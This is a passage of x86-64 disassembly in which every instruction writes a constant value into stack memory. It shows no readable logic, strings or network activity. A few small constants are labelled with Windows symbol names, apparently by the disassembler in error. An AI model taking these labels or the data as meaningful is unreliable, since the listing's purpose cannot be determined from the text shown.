mov dword [rsp + 0x3f48], 0x72406bfc
mov dword [rsp + 0x3f4c], 0xc5679f3
mov byte [rsp + 0xd5], 0x63
mov dword [rsp + 0x3f50], 0x16d2f56
movabs rax, 0x7a08c00a2247ca
mov qword [rsp + 0x7dd0], rax
mov dword [rsp + 0x3f54], 0xfe95b3d
mov eax, 0xff1
mov word [rsp + 0x7a0], ax
mov byte [rsp + 0xd6], 0x37
movabs rax, 0x79f6f80440ad2a
mov qword [rsp + 0x7dd8], rax
mov byte [rsp + 0xd7], 0x48
mov dword [rsp + 0x3f58], 0x4d9bb7a7
mov eax, 0x3f2
mov word [rsp + 0x7a4], ax
mov eax, 0x66a
mov word [rsp + 0x7a8], ax
movabs rax, 0x74b148182a9117
mov qword [rsp + 0x7de0], rax
mov byte [rsp + 0xd8], 0x38
movabs rax, 0x7eb1470a74298e
mov qword [rsp + 0x7de8], rax
mov eax, 0x87f
mov word [rsp + 0x7ac], ax
mov dword [rsp + 0x3f5c], 0x4d7fd1da
mov byte [rsp + 0xd9], 0x29
mov eax, 0x3f6
mov word [rsp + 0x7b0], ax
movabs rax, 0x7b7455385dfd72
mov qword [rsp + 0x7df0], rax
mov eax, 0x10c
mov word [rsp + 0x7b4], ax
mov eax, 0x6aa
mov word [rsp + 0x7b8], ax
movabs rax, 0x7a5b9dc3d9ce60
mov qword [rsp + 0x7df8], rax
mov dword [rsp + 0x3f60], 0xd32d3b5
mov byte [rsp + 0xda], 0x4e
mov dword [rsp + 0x3f64], 0xfba5
movabs rax, 0x7d121122342ebd
mov qword [rsp + 0x7e00], rax
mov byte [rsp + 0xdb], 0xb3
mov byte [rsp + 0xdc], 0x4f
mov byte [rsp + 0xdd], 0x5c
mov byte [rsp + 0xde], 0x57
mov dword [rsp + 0x3f68], 0xdbd7
mov dword [rsp + 0x3f6c], 0x42c8f8b1
mov dword [rsp + 0x3f70], 0xd7f7
mov byte [rsp + 0xdf], LBItemFromPt
movabs rax, 0x7cbcf361df74e0
mov qword [rsp + 0x7e08], rax
mov eax, 0xa28
mov word [rsp + 0x7bc], ax
mov eax, 0x764
mov word [rsp + 0x7c0], ax
mov byte [rsp + 0xe0], 0x50
mov byte [rsp + 0xe1], 0x24
mov eax, 0x720
mov word [rsp + 0x7c4], ax
mov dword [rsp + 0x3f74], 0xff12
movabs rax, 0x7cd0aa586f81db
mov qword [rsp + 0x7e10], rax
mov eax, 0x64d
mov word [rsp + 0x7c8], ax
mov eax, 0x5e4
mov word [rsp + 0x7cc], ax
mov dword [rsp + 0x3f78], 0x7aa56fa5
mov dword [rsp + 0x3f7c], 0x58da
mov dword [rsp + 0x3f80], 0xf2ed
mov dword [rsp + 0x3f84], 0x49ac93c7
mov byte [rsp + 0xe2], 0xa6
mov dword [rsp + 0x3f88], 0x76c5c68f
movabs rax, 0x72126bac521c53
mov qword [rsp + 0x7e18], rax
mov byte [rsp + 0xe3], 0x74
mov byte [rsp + 0xe4], 0x59
mov byte [rsp + 0xe5], 0xcb
mov byte [rsp + 0xe6], 0x23
mov eax, 0x490
mov word [rsp + 0x7d0], ax
mov byte [rsp + 0xe7], 0x66
mov eax, 0xf54
mov word [rsp + 0x7d4], ax
mov eax, 0x3f3
mov word [rsp + 0x7d8], ax
mov eax, 0x1ad
mov word [rsp + 0x7dc], ax
mov byte [rsp + 0xe8], 0x4f
mov byte [rsp + 0xe9], 5
movabs rax, 0x76cd271949617b
mov qword [rsp + 0x7e20], rax
movabs rax, 0x7a76715126b6fb
mov qword [rsp + 0x7e28], rax
mov byte [rsp + 0xea], 0x32
mov dword [rsp + 0x3f8c], 0x7424
mov dword [rsp + 0x3f90], 0x9743
movabs rax, 0x7e73a9bca9eb5b
mov qword [rsp + 0x7e30], rax
mov eax, 0x21e
mov word [rsp + 0x7e0], ax
mov dword [rsp + 0x3f94], 0x75dc
mov eax, 0x6c8
mov word [rsp + 0x7e4], ax
movabs rax, 0x7954e8c716fdb1
mov qword [rsp + 0x7e38], rax
mov dword [rsp + 0x3f98], 0xf259
movabs rax, 0x7e9aa920708e22
mov qword [rsp + 0x7e40], rax
mov eax, 0xc6e
mov word [rsp + 0x7e8], ax
mov byte [rsp + 0xeb], 0x49
movabs rax, 0x7a7d5cb4cbcf7b
mov qword [rsp + 0x7e48], rax
movabs rax, 0x7a510977c5b4f9
mov qword [rsp + 0x7e50], rax
movabs rax, 0x7cfd2f30546c18
mov qword [rsp + 0x7e58], rax
mov dword [rsp + 0x3f9c], 0x9588
movabs rax, 0x71fcb853dfc84d
mov qword [rsp + 0x7e60], rax
mov dword [rsp + 0x3fa0], 0x65cc
mov eax, 0x7a4
mov word [rsp + 0x7ec], ax
mov dword [rsp + 0x3fa4], 0x2192
movabs rax, 0x7c7ba38b7d7c59
mov qword [rsp + 0x7e68], rax
mov dword [rsp + 0x3fa8], 0x4831
mov dword [rsp + 0x3fac], 0x1e39
mov dword [rsp + 0x3fb0], 0xda12
mov byte [rsp + 0xec], 0x35
mov eax, 0xe37
mov word [rsp + 0x7f0], ax
mov eax, 0xcff
mov word [rsp + 0x7f4], ax
mov eax, 0x5c
mov word [rsp + 0x7f8], ax
mov eax, 0x2a7
mov word [rsp + 0x7fc], ax
mov byte [rsp + 0xed], 0x17
movabs rax, 0x75cd6a348781e9
mov qword [rsp + 0x7e70], rax
movabs rax, 0x74f3d5b18d644a
mov qword [rsp + 0x7e78], rax
mov byte [rsp + 0xee], 0xea
movabs rax, 0x765764ebbf1057
mov qword [rsp + 0x7e80], rax
mov eax, 0x6f7
mov word [rsp + 0x800], ax
mov byte [rsp + 0xef], 0x69
movabs rax, 0x78522aeaf94412
mov qword [rsp + 0x7e88], rax
mov eax, 0x7dd
mov word [rsp + 0x804], ax
mov dword [rsp + 0x3fb4], 0x2c8a7c6b
mov eax, 0x1ae
mov word [rsp + 0x808], ax
mov eax, 0x430
mov word [rsp + 0x80c], ax
mov eax, 0x3ad
mov word [rsp + 0x810], ax
mov eax, 0xb85
mov word [rsp + 0x814], ax
mov byte [rsp + 0xf0], 0xb6
mov byte [rsp + 0xf1], 0x7c
mov byte [rsp + 0xf2], 0x41
mov eax, 0x2ee
mov word [rsp + 0x818], ax
movabs rax, 0x777b49f6da0846
mov qword [rsp + 0x7e90], rax
mov byte [rsp + 0xf3], 0x6f
mov eax, 0x161
mov word [rsp + 0x81c], ax
mov byte [rsp + 0xf4], 0xb8
mov eax, 0x345
mov word [rsp + 0x820], ax
movabs rax, 0x782b2b4de5a6b8
mov qword [rsp + 0x7e98], rax
mov dword [rsp + 0x3fb8], 0x2476b225
mov byte [rsp + 0xf5], 0x4f
mov eax, 0x189
mov word [rsp + 0x824], ax
mov eax, 0x704
mov word [rsp + 0x828], ax
mov dword [rsp + 0x3fbc], 0xda02
mov dword [rsp + 0x3fc0], 0xe3af290
movabs rax, 0x7d57cade2ddc5f
mov qword [rsp + 0x7ea0], rax
mov byte [rsp + 0xf6], 0x47
mov eax, 0xaa1
mov word [rsp + 0x82c], ax
mov byte [rsp + 0xf7], 0x27
movabs rax, 0x7448eb34e70121
mov qword [rsp + 0x7ea8], rax
mov eax, 0x9d9
mov word [rsp + 0x830], ax
mov dword [rsp + 0x3fc4], 0xb1ab
mov eax, 0xc88
mov word [rsp + 0x834], ax
mov dword [rsp + 0x3fc8], 0x4f0de3e3
mov byte [rsp + 0xf8], 0x53
mov eax, 0x8b7
mov word [rsp + 0x838], ax
mov dword [rsp + 0x3fcc], 0xac94
mov eax, 0xb10
mov word [rsp + 0x83c], ax
movabs rax, 0x7639c0f5ce641b
mov qword [rsp + 0x7eb0], rax
mov byte [rsp + 0xf9], 0x64
movabs rax, 0x7b81d9cc05ddfb
mov qword [rsp + 0x7eb8], rax
mov byte [rsp + 0xfa], 0x21
mov dword [rsp + 0x3fd0], 0x307cfbb8
mov eax, 0xfe
mov word [rsp + 0x840], ax
movabs rax, 0x71747704f0e824
mov qword [rsp + 0x7ec0], rax
mov dword [rsp + 0x3fd4], 0x5e9e
mov byte [rsp + 0xfb], 0x78
mov dword [rsp + 0x3fd8], 0x481ecbe5
mov dword [rsp + 0x3fdc], 0x4379
mov eax, 0x51f
mov word [rsp + 0x844], ax
mov byte [rsp + 0xfc], 0xc5
mov eax, 0x3b
mov word [rsp + 0x848], ax
movabs rax, 0x7a2d8427639add
mov qword [rsp + 0x7ec8], rax
mov eax, 0x28a
mov word [rsp + 0x84c], ax
mov eax, 0x602
mov word [rsp + 0x850], ax
movabs rax, 0x76bdd41525bf8e
mov qword [rsp + 0x7ed0], rax
mov eax, 0x2c8
mov word [rsp + 0x854], ax
movabs rax, 0x71041f5573246f
mov qword [rsp + 0x7ed8], rax
movabs rax, 0x785b062b446584
mov qword [rsp + 0x7ee0], rax
mov dword [rsp + 0x3fe0], 0x16ac
mov dword [rsp + 0x3fe4], 0x7ebbd781
mov byte [rsp + 0xfd], 0x87
mov eax, 0x350
mov word [rsp + 0x858], ax
movabs rax, 0x7b721b2142df90
mov qword [rsp + 0x7ee8], rax
mov byte [rsp + 0xfe], 0xf8
mov byte [rsp + 0xff], 0x6e
movabs rax, 0x7c9277f07b1b86
mov qword [rsp + 0x7ef0], rax
mov eax, 0x80a
mov word [rsp + 0x85c], ax
mov dword [rsp + 0x3fe8], 0xd6d8
mov byte [rsp + 0x100], 0x41
mov byte [rsp + 0x101], 0x49
mov dword [rsp + 0x3fec], 0xa929
movabs rax, 0x79eeb1d08d46d1
mov qword [rsp + 0x7ef8], rax
mov eax, 0xa1
mov word [rsp + 0x860], ax
mov byte [rsp + 0x102], 9
mov eax, 0x65d
mov word [rsp + 0x864], ax
mov byte [rsp + 0x103], 0x55
mov dword [rsp + 0x3ff0], 0x4f79ac0d
mov eax, 0x7c4
mov word [rsp + 0x868], ax
mov dword [rsp + 0x3ff4], 0xdab5
movabs rax, 0x75eb45374ab477
mov qword [rsp + 0x7f00], rax
mov dword [rsp + 0x3ff8], 0xe1ef
mov dword [rsp + 0x3ffc], 0x1bc54591
mov byte [rsp + 0x104], 0xc2
mov eax, 0x338
mov word [rsp + 0x86c], ax
movabs rax, 0x779ab438c2df70
mov qword [rsp + 0x7f08], rax
mov eax, 0x53b
mov word [rsp + 0x870], ax
mov dword [rsp + 0x4000], 0x38e2b85a
mov eax, 0x582
mov word [rsp + 0x874], ax
movabs rax, 0x7a06c02e9b9cf2
mov qword [rsp + 0x7f10], rax
mov byte [rsp + 0x105], 0xe2
mov byte [rsp + 0x106], 0x33
mov eax, 0x2a7
mov word [rsp + 0x878], ax
mov byte [rsp + 0x107], 0x45
mov byte [rsp + 0x108], 0x19
mov eax, 0x336
mov word [rsp + 0x87c], ax
movabs rax, 0x70788f1ff384e8
mov qword [rsp + 0x7f18], rax
movabs rax, 0x7c3186139fda2c
mov qword [rsp + 0x7f20], rax
mov eax, 0x2a3
mov word [rsp + 0x880], ax
mov byte [rsp + 0x109], 0x70
mov eax, 0xf8
mov word [rsp + 0x884], ax
movabs rax, 0x71b5c9e214bbee
mov qword [rsp + 0x7f28], rax
mov byte [rsp + 0x10a], 0xd8
mov byte [rsp + 0x10b], 0xa
mov dword [rsp + 0x4004], 0x4603c2e5
movabs rax, 0x718c558c5b999b
mov qword [rsp + 0x7f30], rax
mov byte [rsp + 0x10c], 0x75
mov eax, 0xcdd
mov word [rsp + 0x888], ax
movabs rax, 0x71d29c8df22428
mov qword [rsp + 0x7f38], rax
movabs rax, 0x7246066f04f1ba
mov qword [rsp + 0x7f40], rax
mov dword [rsp + 0x4008], 0x666b
mov eax, 0x2ea
mov word [rsp + 0x88c], ax
mov dword [rsp + 0x400c], 0xdc6a
mov eax, 0xd8
mov word [rsp + 0x890], ax
mov eax, 0x5c
mov word [rsp + 0x894], ax
movabs rax, 0x78859eeb792756
mov qword [rsp + 0x7f48], rax
movabs rax, 0x70f08b0b9b4301
mov qword [rsp + 0x7f50], rax
mov byte [rsp + 0x10d], 0xd1
mov byte [rsp + 0x10e], 0x48
mov byte [rsp + 0x10f], 0x15
mov eax, 0x35b
mov word [rsp + 0x898], ax
movabs rax, 0x79fac787cb0bf8
mov qword [rsp + 0x7f58], rax
movabs rax, 0x7e1c2bb7b3b8cc
mov qword [rsp + 0x7f60], rax
mov byte [rsp + 0x110], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x4010], 0x1b02
mov eax, 0xb21
mov word [rsp + 0x89c], ax
mov eax, 0x1a6
mov word [rsp + 0x8a0], ax
mov byte [rsp + 0x111], 0x13
mov byte [rsp + 0x112], 0x6c
mov dword [rsp + 0x4014], 0x406e
movabs rax, 0x769a2745ceff1b
mov qword [rsp + 0x7f68], rax
movabs rax, 0x78f425a0da9ea1
mov qword [rsp + 0x7f70], rax
mov dword [rsp + 0x4018], 0x8128
mov eax, 0xe45
mov word [rsp + 0x8a4], ax
mov eax, 0x27b
mov word [rsp + 0x8a8], ax
mov byte [rsp + 0x113], 4
mov byte [rsp + 0x114], 0x90
mov byte [rsp + 0x115], 0x5a
mov byte [rsp + 0x116], 0x58
mov eax, 0x4f5
mov word [rsp + 0x8ac], ax
mov eax, 0x4cb
mov word [rsp + 0x8b0], ax
movabs rax, 0x761b88eb83619f
mov qword [rsp + 0x7f78], rax
mov dword [rsp + 0x401c], 0x29a
mov dword [rsp + 0x4020], 0xff7
movabs rax, 0x7d0516fea4036c
mov qword [rsp + 0x7f80], rax
mov byte [rsp + 0x117], 0x3c
movabs rax, 0x758f2477eb1b7e
mov qword [rsp + 0x7f88], rax
mov dword [rsp + 0x4024], 0xb376518
mov byte [rsp + 0x118], 0xd0
movabs rax, 0x739500cf96f252
mov qword [rsp + 0x7f90], rax
movabs rax, 0x7adb215a4891e7
mov qword [rsp + 0x7f98], rax
mov eax, 0x27b
mov word [rsp + 0x8b4], ax
mov byte [rsp + 0x119], 0x6f
mov eax, 0x14b
mov word [rsp + 0x8b8], ax
movabs rax, 0x731d74b2f050b1
mov qword [rsp + 0x7fa0], rax
mov eax, 0x6d2
mov word [rsp + 0x8bc], ax
mov dword [rsp + 0x4028], 0xb433
mov byte [rsp + 0x11a], 0x66
mov byte [rsp + 0x11b], 0x25
mov byte [rsp + 0x11c], 0x4a
mov eax, 0x608
mov word [rsp + 0x8c0], ax
mov byte [rsp + 0x11d], 0x57
movabs rax, 0x746a6024ecb5a3
mov qword [rsp + 0x7fa8], rax
mov dword [rsp + 0x402c], 0x6686d7c7
mov dword [rsp + 0x4030], 0x700
movabs rax, 0x79d3bba29b1390
mov qword [rsp + 0x7fb0], rax
mov byte [rsp + 0x11e], 0x32
mov dword [rsp + 0x4034], 0x176fcbfb
mov byte [rsp + 0x11f], 0x64
movabs rax, 0x743c9a132ae42d
mov qword [rsp + 0x7fb8], rax
mov byte [rsp + 0x120], 0x71
mov byte [rsp + 0x121], 0x8f
mov dword [rsp + 0x4038], 0x620d
movabs rax, 0x7e6725255c5d29
mov qword [rsp + 0x7fc0], rax
movabs rax, 0x7580fdb34b054a
mov qword [rsp + 0x7fc8], rax
mov eax, 0x6dc
mov word [rsp + 0x8c4], ax
mov byte [rsp + 0x122], 0x82
mov dword [rsp + 0x403c], 0x1c066a2
mov dword [rsp + 0x4040], 0x6f0e
mov byte [rsp + 0x123], 0xb1
mov dword [rsp + 0x4044], 0x920b
mov eax, 0x773
mov word [rsp + 0x8c8], ax
movabs rax, 0x798622445d678c
mov qword [rsp + 0x7fd0], rax
mov dword [rsp + 0x4048], 0x118c4f9
mov eax, 0x276
mov word [rsp + 0x8cc], ax
movabs rax, 0x722e5dfe117638
mov qword [rsp + 0x7fd8], rax
movabs rax, 0x737f0f7e4df4f1
mov qword [rsp + 0x7fe0], rax
mov dword [rsp + 0x404c], 0x2afd0f0a
movabs rax, 0x727f2e8bb0b6e1
mov qword [rsp + 0x7fe8], rax
mov eax, 0x2fb
mov word [rsp + 0x8d0], ax
mov eax, 0x13e
mov word [rsp + 0x8d4], ax
mov byte [rsp + 0x124], 0x53
mov dword [rsp + 0x4050], 0x3f49f656
movabs rax, 0x7979c57dbd1d1b
mov qword [rsp + 0x7ff0], rax
movabs rax, 0x745620341ed4f0
mov qword [rsp + 0x7ff8], rax
mov byte [rsp + 0x125], 0x50
mov eax, 0x7f4
mov word [rsp + 0x8d8], ax
mov eax, 0xc24
mov word [rsp + 0x8dc], ax
mov eax, 0x2ee
mov word [rsp + 0x8e0], ax
movabs rax, 0x7aa141927b5db2
mov qword [rsp + 0x8000], rax
movabs rax, 0x717cf9aeee60d1
mov qword [rsp + 0x8008], rax
mov byte [rsp + 0x126], 0x93
mov eax, 0x6b8
mov word [rsp + 0x8e4], ax
mov dword [rsp + 0x4054], 0x66ceaa9b
mov dword [rsp + 0x4058], 0x405a
mov dword [rsp + 0x405c], 0xa122
mov dword [rsp + 0x4060], 0x6c23fb91
movabs rax, 0x79b3079bc347f4
mov qword [rsp + 0x8010], rax
movabs rax, 0x76a963da20a04f
mov qword [rsp + 0x8018], rax
mov dword [rsp + 0x4064], 0x28d
mov byte [rsp + 0x127], 0x51
movabs rax, 0x7074f2510f437a
mov qword [rsp + 0x8020], rax
mov byte [rsp + 0x128], 0xb4
mov eax, 0x18
mov word [rsp + 0x8e8], ax
mov dword [rsp + 0x4068], 0x3aed
mov byte [rsp + 0x129], 0x78
mov eax, 0x444
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x406c], 0x6abf8e25
mov byte [rsp + 0x12a], 0x4e
mov dword [rsp + 0x4070], 0x11d6
movabs rax, 0x75250327aab9b1
mov qword [rsp + 0x8028], rax
movabs rax, 0x7eb795cf9d1a66
mov qword [rsp + 0x8030], rax
mov byte [rsp + 0x12b], 0x75
mov eax, 0x41b
mov word [rsp + 0x8f0], ax
mov eax, 0x149
mov word [rsp + 0x8f4], ax
mov dword [rsp + 0x4074], 0xcfff
mov byte [rsp + 0x12c], 0xbe
mov eax, 0xbcc
mov word [rsp + 0x8f8], ax
mov byte [rsp + 0x12d], 0x5d
mov dword [rsp + 0x4078], 0xb87e
mov eax, 0x421
mov word [rsp + 0x8fc], ax
mov byte [rsp + 0x12e], 0x5f
movabs rax, 0x7927ed92193c6d
mov qword [rsp + 0x8038], rax
movabs rax, 0x7ef9fabc206eee
mov qword [rsp + 0x8040], rax
mov dword [rsp + 0x407c], 0x12c
mov dword [rsp + 0x4080], 0xb934
mov dword [rsp + 0x4084], 0x2f63121f
mov eax, 0x1b0
mov word [rsp + 0x900], ax
mov byte [rsp + 0x12f], 0x28
mov eax, 0xb4
mov word [rsp + 0x904], ax
movabs rax, 0x7b376fb8ca2e7f
mov qword [rsp + 0x8048], rax
mov byte [rsp + 0x130], 0xa1
mov byte [rsp + 0x131], 0x38
mov eax, 0x6ce
mov word [rsp + 0x908], ax
mov eax, 0xe6
mov word [rsp + 0x90c], ax
mov byte [rsp + 0x132], 0x1f
mov byte [rsp + 0x133], 0x4e
mov dword [rsp + 0x4088], 0xf0f5
mov dword [rsp + 0x408c], 0x4620
movabs rax, 0x7194fe2e4f20a3
mov qword [rsp + 0x8050], rax
movabs rax, 0x7666b804c856ab
mov qword [rsp + 0x8058], rax
mov dword [rsp + 0x4090], 0x5fb5
movabs rax, 0x7374d60ccf06d1
mov qword [rsp + 0x8060], rax
movabs rax, 0x739c5bd3075184
mov qword [rsp + 0x8068], rax
mov dword [rsp + 0x4094], 0xfe87c98
mov eax, 0x7da
mov word [rsp + 0x910], ax
mov eax, 0x5c3
mov word [rsp + 0x914], ax
movabs rax, 0x7110a78ec0e375
mov qword [rsp + 0x8070], rax
mov dword [rsp + 0x4098], 0x52e1
mov byte [rsp + 0x134], 0x30
mov dword [rsp + 0x409c], 0x1c91
mov byte [rsp + 0x135], 0x3c
mov eax, 0x7bb
mov word [rsp + 0x918], ax
movabs rax, 0x7dc121e0e60b57
mov qword [rsp + 0x8078], rax
mov dword [rsp + 0x40a0], 0x266962ab
mov eax, 0x7af
mov word [rsp + 0x91c], ax
mov byte [rsp + 0x136], 0x18
movabs rax, 0x75b8eb3341f6a3
mov qword [rsp + 0x8080], rax
mov dword [rsp + 0x40a4], 0x6e7a
mov byte [rsp + 0x137], 0x31
mov byte [rsp + 0x138], 0xbc
mov byte [rsp + 0x139], 0x74
movabs rax, 0x7ab6ffaff171b4
mov qword [rsp + 0x8088], rax
mov eax, 0x62a
mov word [rsp + 0x920], ax
mov byte [rsp + 0x13a], 5
movabs rax, 0x7a88205f76fd62
mov qword [rsp + 0x8090], rax
movabs rax, 0x79f85e5f68cc56
mov qword [rsp + 0x8098], rax
mov byte [rsp + 0x13b], 0x2d
mov dword [rsp + 0x40a8], 0x942d
mov eax, 0x737
mov word [rsp + 0x924], ax
mov byte [rsp + 0x13c], 0xa
mov byte [rsp + 0x13d], 0xa8
mov byte [rsp + 0x13e], 8
mov dword [rsp + 0x40ac], 0x589e09e9
mov byte [rsp + 0x13f], 0x18
movabs rax, 0x7cdd6e1dbe1a76
mov qword [rsp + 0x80a0], rax
mov dword [rsp + 0x40b0], 0x33f358b4
mov byte [rsp + 0x140], 0x51
mov eax, 0x30e
mov word [rsp + 0x928], ax
mov eax, 0x105
mov word [rsp + 0x92c], ax
mov eax, 0x735
mov word [rsp + 0x930], ax
mov eax, 0x14f
mov word [rsp + 0x934], ax
mov eax, 0xf26
mov word [rsp + 0x938], ax
mov dword [rsp + 0x40b4], 0xc1cc
mov byte [rsp + 0x141], 0x37
mov dword [rsp + 0x40b8], 0x22934cb5
mov dword [rsp + 0x40bc], 0xe5f5
mov byte [rsp + 0x142], 0xee
movabs rax, 0x718e12eef4b565
mov qword [rsp + 0x80a8], rax
mov dword [rsp + 0x40c0], 0x7df6
movabs rax, 0x73d7df5c937a72
mov qword [rsp + 0x80b0], rax
mov eax, 0x391
mov word [rsp + 0x93c], ax
mov byte [rsp + 0x143], 0x35
mov byte [rsp + 0x144], 0x58
movabs rax, 0x75d8fea242cde7
mov qword [rsp + 0x80b8], rax
mov byte [rsp + 0x145], 9
mov dword [rsp + 0x40c4], 0x30c99062
mov dword [rsp + 0x40c8], 0x460a1673
movabs rax, 0x74590a2783c7d1
mov qword [rsp + 0x80c0], rax
mov dword [rsp + 0x40cc], 0xba34
mov byte [rsp + 0x146], 3
mov dword [rsp + 0x40d0], 0x55e3d6ef
mov byte [rsp + 0x147], 0xc6
mov dword [rsp + 0x40d4], 0xe3e3
mov byte [rsp + 0x148], 0x24
movabs rax, 0x738f4c62841735
mov qword [rsp + 0x80c8], rax
mov dword [rsp + 0x40d8], 0x189a
mov dword [rsp + 0x40dc], 0x332b
mov byte [rsp + 0x149], 0x3d
mov byte [rsp + 0x14a], 0xf7
movabs rax, 0x74dd800d066ede
mov qword [rsp + 0x80d0], rax
mov dword [rsp + 0x40e0], 0x85bd
mov byte [rsp + 0x14b], 0x27
movabs rax, 0x7caa5dd35d41eb
mov qword [rsp + 0x80d8], rax
mov byte [rsp + 0x14c], 0x1a
mov dword [rsp + 0x40e4], 0x6e100c2a
movabs rax, 0x772721c0fbd44f
mov qword [rsp + 0x80e0], rax
mov dword [rsp + 0x40e8], 0x598cb5e4
mov byte [rsp + 0x14d], 1
mov byte [rsp + 0x14e], 0xf2
movabs rax, 0x7bca2df14eb8dc
mov qword [rsp + 0x80e8], rax
mov byte [rsp + 0x14f], 0x7a
movabs rax, 0x7b2083353a4263
mov qword [rsp + 0x80f0], rax
mov dword [rsp + 0x40ec], 0xa237
mov byte [rsp + 0x150], 0x71
mov dword [rsp + 0x40f0], 0xa0de
movabs rax, 0x7b4d76afe1de07
mov qword [rsp + 0x80f8], rax
mov byte [rsp + 0x151], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x6a0
mov word [rsp + 0x940], ax
mov byte [rsp + 0x152], 6
mov eax, 0x227
mov word [rsp + 0x944], ax
movabs rax, 0x7ae63959963b28
mov qword [rsp + 0x8100], rax
movabs rax, 0x72410e2c23fe31
mov qword [rsp + 0x8108], rax
mov eax, 0x733
mov word [rsp + 0x948], ax
movabs rax, 0x7e27c150302515
mov qword [rsp + 0x8110], rax
mov eax, 0x5a1
mov word [rsp + 0x94c], ax
mov byte [rsp + 0x153], 0x2f
mov eax, 0x95
mov word [rsp + 0x950], ax
mov dword [rsp + 0x40f4], 0xf136
movabs rax, 0x7b831d137a2b28
mov qword [rsp + 0x8118], rax
mov dword [rsp + 0x40f8], 0x688d42b7
mov dword [rsp + 0x40fc], 0x65edcb47
mov dword [rsp + 0x4100], 0x4754
mov byte [rsp + 0x154], 0x5a
mov dword [rsp + 0x4104], 0x7d40e16b
mov byte [rsp + 0x155], 0x78
mov eax, 0x43
mov word [rsp + 0x954], ax
mov dword [rsp + 0x4108], 0x1a99d06d
movabs rax, 0x7a9d218666473c
mov qword [rsp + 0x8120], rax
movabs rax, 0x7844a0b8fdf593
mov qword [rsp + 0x8128], rax
mov byte [rsp + 0x156], 0xf0
mov dword [rsp + 0x410c], 0x267dcdfe
mov eax, 0x83d
mov word [rsp + 0x958], ax
mov eax, 0x379
mov word [rsp + 0x95c], ax
mov byte [rsp + 0x157], 0x81
mov eax, 0x8f
mov word [rsp + 0x960], ax
movabs rax, 0x7e45e1e1d9492a
mov qword [rsp + 0x8130], rax
mov eax, 0x6a7
mov word [rsp + 0x964], ax
mov eax, 0x6e0
mov word [rsp + 0x968], ax
mov dword [rsp + 0x4110], 0xae45
mov eax, 0x73a
mov word [rsp + 0x96c], ax
mov byte [rsp + 0x158], 0x61
mov dword [rsp + 0x4114], 0x2b788c11
mov dword [rsp + 0x4118], 0x579e23ee
movabs rax, 0x7203530c1afa6c
mov qword [rsp + 0x8138], rax
mov byte [rsp + 0x159], 0x15
movabs rax, 0x7e4cb8de8d55ac
mov qword [rsp + 0x8140], rax
movabs rax, 0x7e5d49f4fb577a
mov qword [rsp + 0x8148], rax
movabs rax, 0x7c6f9fe8285ded
mov qword [rsp + 0x8150], rax
mov eax, 0x213
mov word [rsp + 0x970], ax
mov byte [rsp + 0x15a], 0x2b
movabs rax, 0x7c92d8ba3ea28b
mov qword [rsp + 0x8158], rax
mov eax, 0xd05
mov word [rsp + 0x974], ax
mov byte [rsp + 0x15b], 3
movabs rax, 0x71e944ff0aaca8
mov qword [rsp + 0x8160], rax
mov byte [rsp + 0x15c], 0x98
movabs rax, 0x7b0b9d7dae611e
mov qword [rsp + 0x8168], rax
movabs rax, 0x73c67ce2fc52a2
mov qword [rsp + 0x8170], rax
mov eax, 0x576
mov word [rsp + 0x978], ax
movabs rax, 0x743348d5e99eed
mov qword [rsp + 0x8178], rax
mov eax, 0x24d
mov word [rsp + 0x97c], ax
mov byte [rsp + 0x15d], 0x50
mov dword [rsp + 0x411c], 0xcc9e
mov eax, 0xb37
mov word [rsp + 0x980], ax
mov dword [rsp + 0x4120], 0x788483d4
movabs rax, 0x74f3b89f1c1b89
mov qword [rsp + 0x8180], rax
mov dword [rsp + 0x4124], 0x9d01
movabs rax, 0x73d8f2bdf0db58
mov qword [rsp + 0x8188], rax
mov byte [rsp + 0x15e], 0x11
mov eax, 0x171
mov word [rsp + 0x984], ax
mov eax, 0x209
mov word [rsp + 0x988], ax
mov dword [rsp + 0x4128], 0x2e38a422
mov byte [rsp + 0x15f], 0x7e
mov eax, 0x7a8
mov word [rsp + 0x98c], ax
mov eax, 0x938
mov word [rsp + 0x990], ax
movabs rax, 0x77b096cabe9328
mov qword [rsp + 0x8190], rax
mov dword [rsp + 0x412c], 0x4707
mov dword [rsp + 0x4130], 0xb5e4
mov byte [rsp + 0x160], 0x58
mov byte [rsp + 0x161], 0xe9
mov eax, 0x49b
mov word [rsp + 0x994], ax
mov byte [rsp + 0x162], 0x66
mov dword [rsp + 0x4134], 0x531d571a
movabs rax, 0x77cbac5deb039b
mov qword [rsp + 0x8198], rax
movabs rax, 0x766119d04cea71
mov qword [rsp + 0x81a0], rax
movabs rax, 0x711996ffb4fba6
mov qword [rsp + 0x81a8], rax
mov byte [rsp + 0x163], 0x1c
movabs rax, 0x72de4ab44fb062
mov qword [rsp + 0x81b0], rax
mov eax, 0x98
mov word [rsp + 0x998], ax
mov dword [rsp + 0x4138], 0x894f
mov dword [rsp + 0x413c], 0x28349e28
mov eax, 0x694
mov word [rsp + 0x99c], ax
movabs rax, 0x7968361cdbead3
mov qword [rsp + 0x81b8], rax
mov dword [rsp + 0x4140], 0x4b5e45d6
mov eax, 0x317
mov word [rsp + 0x9a0], ax
mov eax, 0x1bb
mov word [rsp + 0x9a4], ax
mov dword [rsp + 0x4144], 0x2d3d2200
mov dword [rsp + 0x4148], 0x3931
movabs rax, 0x714c5c7f0e5500
mov qword [rsp + 0x81c0], rax
movabs rax, 0x739a1a6e54e5a0
mov qword [rsp + 0x81c8], rax
mov eax, 0x6c
mov word [rsp + 0x9a8], ax
movabs rax, 0x776732831a32fd
mov qword [rsp + 0x81d0], rax
movabs rax, 0x7820be307446c1
mov qword [rsp + 0x81d8], rax
mov eax, 0xc6
mov word [rsp + 0x9ac], ax
mov dword [rsp + 0x414c], 0x10c83125
mov dword [rsp + 0x4150], 0x588adb8c
mov dword [rsp + 0x4154], 0x2325ee86
mov byte [rsp + 0x164], 0x78
movabs rax, 0x7c9b68aef2ebea
mov qword [rsp + 0x81e0], rax
mov eax, 0x3a2
mov word [rsp + 0x9b0], ax
mov byte [rsp + 0x165], 0x71
movabs rax, 0x7687c36e466749
mov qword [rsp + 0x81e8], rax
mov eax, 0x15b
mov word [rsp + 0x9b4], ax
mov dword [rsp + 0x4158], 0x4738
mov eax, 0x1e
mov word [rsp + 0x9b8], ax
mov dword [rsp + 0x415c], 0x44b6
mov eax, 0x573
mov word [rsp + 0x9bc], ax
mov eax, 0x33d
mov word [rsp + 0x9c0], ax
mov eax, 0x323
mov word [rsp + 0x9c4], ax
